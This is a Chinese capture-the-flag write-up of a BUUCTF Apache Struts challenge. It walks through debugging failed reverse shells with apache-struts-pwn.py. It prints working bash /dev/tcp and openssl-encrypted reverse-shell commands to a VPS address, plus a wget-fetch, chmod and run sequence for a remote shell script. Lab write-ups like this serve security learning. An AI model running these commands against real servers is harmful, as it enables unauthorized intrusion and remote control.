声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!
这题有点小坑,值得单独写一篇文章分析它的坑。
参考资料:1、反弹shell受限情况下的倔强
先上flag:
启动环境之后是这样。
根据vulhub的提示,我们直接拿到存在漏洞的url:
http://node3.buuoj.cn:25069/orders/3/edit
经过本地burp测试也复现了该漏洞,但BUUCTF上的环境是不会有回显的,这就给渗透带来了很大的麻烦。
为了节省时间,直接上工具了。
经过工具测试确认漏洞存在:
坑1
因为漏洞没有回显,需要上传一个一句话,这是第一个坑。
我们通过工具向服务器写入一个jsp的一句话:
失败了,换一个,上传一个jspx的一句话,也失败了:
坑2
既然带回显的一句话上传失败,那就通过漏洞反弹shell试试:
注:反弹shell需要一个有公网IP的vps。我随便买了一个。
反弹shell的命令:
python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:25869/orders/4/edit -c 'bash -i >& /dev/tcp/你的vps的公网IP/VPS监听的端口 0>&1'
我在VPS上监听8080端口,我的VPS的公网IP为:1.1.1.1
所以命令为:python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:25869/orders/4/edit -c 'bash -i >& /dev/tcp/1.1.1.1/8080 0>&1'
在VPS上监听8080端口:nc -lvvp 8080:
通过工具反弹一个shell回来:
如上图,又失败了。。。。监听了半天啥也没有。
走到这里要好好考虑下到底是怎么回事。
当反弹shell失败的时候,我们要考虑下到底是为什么失败,根据可能的原因逐一排查。
1、检查目标是否通外网(这一步一般是用在打内网的时候。当然,在BUUCTF这道题里面肯定是通的)
我们在dnslog上随便申请一个域名:
通过工具使目标ping一下该域名,看看成不成功:
刷新一下dnslog的记录,发现有记录:
说明机器允许外网流量。
2、检查bash命令是否存在,但这一步因为没有回显,一句话也写不进去,暂时想不到排查的办法。
3、检查是否是出站端口受限:
在vps监听8080端口。
然后通过工具执行wget http://你的vps的ip地址:监听的端口
8080端口收到了请求:
再试一个随机端口12345,也成功了,说明出站的端口没有受限:
4、目标机器存在流量审查机制
我们在假设bash命令可用的情况下,排除是否存在流量审查机制。
vps上生成证书的公私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
要输入的地方一路回车。
在vps上使用openssl监听接收shell的端口:
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
用工具执行openssl加密反弹shell的流量:
失败了,换成443端口试试:
还是失败了。
坑3
在这里我卡了很久,最后发现是工具传过去的命令可能有问题导致的,如此我们换一种方式执行命令。
在vps上生成一个执行openssl的.sh脚本:(这里已经测试过目标机器上可以通过漏洞利用工具执行sh脚本,原理也是在sh脚本内写一个Ping域名的命令查看是否有记录来判断是否成功)
#!/bin/sh
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/s; rm /tmp/s
上面的ip就是vps的IP,这个公网IP是我买的按时长计费的一小时vps,所以IP可以放出来,反正马上就过时了:)
然后我们在sh文件所在的目录下执行以下python2命令:
python -m SimpleHTTPServer 8080
通过漏洞利用工具执行以下命令:
python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:27539/orders/4/edit -c 'wget http://116.85.29.47:8080/1.sh'
vps上也收到了目标机器的请求,说明sh文件已经成功下载到了目标机上:
然后我们ctrl c 关掉python快速搭建的文件服务器,重新打开openssl监听443端口加密流量。
然后通过漏洞利用工具将目标机器上的sh文件改成777:
python apache-struts-pwn.py --exploit -u http://node3.buuoj.cn:27539/orders/4/edit -c 'chmod 777 1.sh'
然后执行该sh文件:
成功获取了一个哑shell:
权限还很高,是个root。
直接执行env就可以拿到flag了。
最后放一个flag判断成功的截图:
-------------------------end-------------------------------------